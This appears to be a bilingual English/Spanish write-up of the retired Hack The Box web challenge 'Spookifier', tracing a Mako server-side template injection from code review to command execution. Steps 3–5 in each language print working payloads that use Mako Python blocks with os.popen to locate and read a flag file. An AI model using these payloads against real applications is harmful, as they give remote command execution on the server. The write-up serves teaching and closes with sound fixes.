root@sparrow:~/writeups$ cat spookifier.md
// writeups
Spookifier
4 Nov 2022
· 3 min read
A web app that "stylises" text. User input ends up concatenated inside a Mako template, enabling SSTI and, from there, command execution and flag disclosure.
Challenge overview
| Field | Value |
|---|
| Platform | Hack The Box · Challenge |
| Category | Web |
| Difficulty | Very Easy |
| State | Retired |
| Files | main.py · routes.py · util.py · templates/index.html |
Attack map
[Web] text input
│
▼
[util.py] generate_render() → Mako
│
▼
[SSTI ${7*7}=49] confirmed
│
▼
[RCE] os.popen('cat /flag.txt')
│
▼
[FLAG]
App web que "estiliza" texto. El input del usuario acaba concatenado dentro de una plantilla Mako, lo que permite SSTI y, de ahí, ejecución de comandos y lectura de la flag.
Ficha del challenge
| Campo | Valor |
|---|
| Plataforma | Hack The Box · Challenge |
| Categoría | Web |
| Dificultad | Very Easy |
| Estado | Retirado |
| Archivos | main.py · routes.py · util.py · templates/index.html |
Mapa del ataque
[Web] input de texto
│
▼
[util.py] generate_render() → Mako
│
▼
[SSTI ${7*7}=49] confirmado
│
▼
[RCE] os.popen('cat /flag.txt')
│
▼
[FLAG]
1. Review the source
The challenge ships the source. Following the input flow (routes.py → spookify() → util.py) leads to the rendering function, which is usually where the bug lives.
main.py -> arranque Flask
routes.py -> recibe input del usuario
util.py -> spookify() / change_font() / generate_render()
2. Locate the vulnerable function
generate_render() drops the user's text straight into the Mako template instead of passing it as a variable. The problem isn't Mako — it's how it's used.
texto del usuario → concatenado dentro de la template → Mako lo interpreta
3. Confirm the SSTI (Mako, not Jinja2)
Mako doesn't use {{7*7}} (that's Jinja2). Its expression syntax is ${...}. If 49 comes back, the injection is real.
${7*7}
49
4. Locate the flag
A Mako Python block (<% ... %>) lets us run system commands. First we find where the flag lives.
<% import os; x = os.popen('find / -type f -name flag.txt').read() %> ${x}
/flag.txt
5. Read the flag
<% import os; x = os.popen('cat /flag.txt').read() %> ${x}
HTB{...}
Chain summary
| Phase | Component | Vulnerability | Impact |
|---|
| Code review | generate_render() | SSTI in Mako | Mako syntax interpreted |
| Exploitation | Template engine | <% %> block with os.popen | RCE → read /flag.txt |
Lessons learned
- Identify the template engine before firing payloads: Jinja2 (
{{ }}) and Mako (${ }) don't share syntax. - Never concatenate user input into a template — always pass it as a context variable.
- Code review steers the attack: tracing data from source to sink beats blind fuzzing.
1. Revisar el código fuente
El challenge entrega el código. Seguir el flujo del input (routes.py → spookify() → util.py) lleva a la función que renderiza, que es donde suele estar el fallo.
main.py -> arranque Flask
routes.py -> recibe input del usuario
util.py -> spookify() / change_font() / generate_render()
2. Localizar la función vulnerable
generate_render() inserta el texto del usuario directamente dentro de la plantilla Mako en lugar de pasarlo como variable. El problema no es Mako, es cómo se usa.
texto del usuario → concatenado dentro de la template → Mako lo interpreta
3. Confirmar la SSTI (Mako, no Jinja2)
Mako no usa {{7*7}} (eso es Jinja2). Su sintaxis de expresión es ${...}. Si el 49 se refleja, la inyección es real.
${7*7}
49
4. Localizar la flag
Un bloque Python de Mako (<% ... %>) permite ejecutar comandos del sistema. Primero buscamos dónde vive la flag.
<% import os; x = os.popen('find / -type f -name flag.txt').read() %> ${x}
/flag.txt
5. Leer la flag
<% import os; x = os.popen('cat /flag.txt').read() %> ${x}
HTB{...}
Resumen de la cadena
| Fase | Componente | Vulnerabilidad | Impacto |
|---|
| Code review | generate_render() | SSTI en Mako | Interpretación de sintaxis Mako |
| Explotación | Motor de plantillas | Bloque <% %> con os.popen | RCE → lectura de /flag.txt |
Lecciones aprendidas
- Identifica el motor de plantillas antes de lanzar payloads: Jinja2 (
{{ }}) y Mako (${ }) no comparten sintaxis. - Nunca concatenes input de usuario dentro de una plantilla; pásalo siempre como variable de contexto.
- El code review dirige el ataque: seguir el dato desde la entrada hasta el sink ahorra fuzzing a ciegas.